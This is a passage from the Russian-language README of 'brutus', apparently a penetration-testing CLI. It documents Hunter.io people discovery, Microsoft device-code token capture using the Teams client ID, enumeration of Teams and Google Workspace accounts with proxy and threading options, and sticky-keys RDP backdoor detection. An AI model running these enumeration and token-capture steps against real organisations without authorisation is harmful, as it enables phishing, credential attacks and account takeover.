brutus enum generate --domain example.com --format first.last

Обнаружение людей (email, имя, должность, телефон, отдел, уровень должности, уровень уверенности), связанных с доменом, с помощью API Hunter.io Domain Search. Автоматически выполняет пагинацию до получения всех результатов.```bash

Requires a Hunter.io API key — set via env var (preferred, keeps key out of process list)

export HUNTER_API_KEY=your_key_here

Discover people for a domain

brutus enum hunter --domain example.com

Provide the key explicitly (visible in process list and shell history — prefer HUNTER_API_KEY)

brutus enum hunter --domain example.com --api-key your_key_here

JSONL output to file (one record per person, with type:"hunter" discriminator)

brutus enum hunter --domain example.com --output people.jsonl

Adjust pagination page size (default: 100)

brutus enum hunter --domain example.com --limit 50

### Microsoft Teams / Entra ID Аутентификация

Получите OAuth2 access token, refresh token и ID token от Microsoft Entra ID (Azure AD) с помощью [device code flow](https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-device-code) (RFC 8628). Полученные токены можно использовать для вызовов Microsoft Graph API, перечисления Teams и аудита с помощью таких инструментов, как [ROADtools](https://github.com/dirkjanm/ROADtools) или пользовательских Graph запросов.```bash
# Authenticate against the common endpoint (any Microsoft tenant)
brutus enum active teams auth

# Authenticate against a specific tenant by domain or GUID
brutus enum active teams auth --tenant contoso.com
brutus enum active teams auth --tenant 00000000-0000-0000-0000-000000000000

# Request a different resource scope (space-separated). The default targets the
# Skype/Teams resource (api.spaces.skype.com); the Teams client is NOT
# authorized for Microsoft Graph (Graph yields AADSTS65002).
brutus enum active teams auth --scope "offline_access https://api.spaces.skype.com/.default"

# Use a custom app registration (your own Azure app client ID)
brutus enum active teams auth --client-id 00000000-0000-0000-0000-000000000000

# Capture the full token set as JSONL for piping to other tools
brutus enum active teams auth -o tokens.jsonl
brutus enum active teams auth --json

Как это работает:

  1. Brutus запрашивает код устройства по адресу login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode
  2. Отображается короткий код и URL — откройте URL в любом браузере и введите код
  3. Brutus опрашивает сервер, пока вы не завершите вход, код не истечёт или вы не нажмёте Ctrl+C
  4. При успехе выводится токен доступа, токен обновления и ID токен

Вывод для человека показывает только первые 20 символов токена доступа (достаточно для проверки). Используйте --json или -o, чтобы захватить полные значения токенов.

ID клиента по умолчанию: Приложение Microsoft Teams для настольных компьютеров (1fec8e78-bce4-4aaf-ab1b-5451cc387264) — общедоступный клиент первой стороны, поддерживающий поток кода устройства. Переопределите с помощью --client-id, чтобы использовать собственную регистрацию приложения.``` $ brutus enum active teams auth --tenant contoso.com [*] Starting Microsoft device code authentication...

[*] Microsoft device code authentication Open: https://microsoft.com/devicelogin Code: ABCD-1234 Expires in: 15m

[*] Waiting for you to complete sign-in...

[+] Authentication successful Token type: Bearer Expires at: 2026-06-16T13:00:00Z Scope: offline_access https://api.spaces.skype.com/.default Access token: eyJ0eXAiOiJKV1Qi... Refresh token: ID token:

#### Перечисление пользователей Teams

После аутентификации перечислите корпоративных пользователей Teams по адресу электронной почты. Каждый результат: `exists`, `blocked` (клиент запрещает внешний поиск, но пользователь может существовать), `not found` или `unknown` (ошибка аутентификации/передачи). Личные/аккаунты Live не поддерживаются — только корпоративные клиенты.```bash
# Device-code auth inline, then enumerate a couple of emails
brutus enum active teams users -e [email protected],[email protected]

# Generate candidate emails for a domain and enumerate the most-likely 5000
# (presence and out-of-office are gathered by default; use --no-presence to skip)
brutus enum active teams users --domain target.com --format first.last --limit 5000

# Enumerate emails from a file
brutus enum active teams users -E emails.txt

# Reuse a token captured earlier and route through a SOCKS5 proxy
brutus enum active teams auth -o token.jsonl
brutus enum active teams users -E emails.txt --token-file token.jsonl --proxy socks5://127.0.0.1:1080

# Provide an access token directly
brutus enum active teams users -e [email protected] --access-token "$TOKEN"

Когда доступен refresh-токен (через --token-file или --refresh-token), истекший access-токен автоматически обновляется один раз; в противном случае 401 корректно понижается до результата unknown.


Перечисление аккаунтов Google Workspace

Проверьте, соответствуют ли адреса электронной почты аккаунтам Google, используя два неаутентифицированных оракула — токен или вход не требуется:

  • Перенаправление SSO AccountChooser — раскрывает аккаунты Workspace в доменах, настроенных на единый вход, а также хост провайдера удостоверений (IdP), на который они перенаправляют (workspace-sso).
  • Запрос GXLU Gmail — раскрывает аккаунты с поддержкой Gmail (gmail).

Каждый результат — exists (с методом подтверждения и, для SSO, хостом IdP) или not found.```bash

Enumerate a couple of emails

brutus enum active google -e [email protected],[email protected]

Generate candidate emails for a domain and enumerate the most-likely 5000

brutus enum active google --domain target.com --format first.last --limit 5000

Enumerate emails from a file

brutus enum active google -E emails.txt

Route through a SOCKS5 proxy and raise concurrency

brutus enum active google -E emails.txt --proxy socks5://127.0.0.1:1080 --threads 20

`--domain` повторно использует тот же генератор имен/фамилий с ранжированием по частоте, что и
`enum generate`; `--format` выбирает макет имени пользователя, а `--limit` ограничивает
генерацию первыми N (наиболее вероятными) кандидатами. `--domain` может комбинироваться
с `-e`/`-E`.

---

## Известные ограничения

### Эвристическое обнаружение залипания клавиш

- **Чередующиеся ложноотрицательные результаты:** Эвристическое обнаружение (`brutus logon` без `--experimental-ai`) может выдавать ложноотрицательные результаты при повторных сканированиях одной и той же цели. После успешного обнаружения окно cmd.exe остается открытым на сервере. Последующие подключения видят cmd.exe в базовом кадре, и поскольку отправка 5x Shift не создает нового окна, разница в пикселях минимальна — в результате выносится вердикт «чисто». Это не влияет на режим `--experimental-ai`, который использует анализ кадра ответа напрямую через Vision API (а не разницу между базовым и ответным кадром) и надежно идентифицирует окно терминала независимо от предыдущего состояния.
- **Обходной путь:** Используйте `--experimental-ai` с установленным `ANTHROPIC_API_KEY` для надежного обнаружения при повторных сканированиях или дайте RDP-сессии сброситься между сканированиями.

### Плагин браузера

- Требуется локально установленный Chrome/Chromium
- Безголовый режим может работать не на всех системах
- Некоторые страницы входа с большим количеством JavaScript могут требовать дополнительного времени ожидания

Категории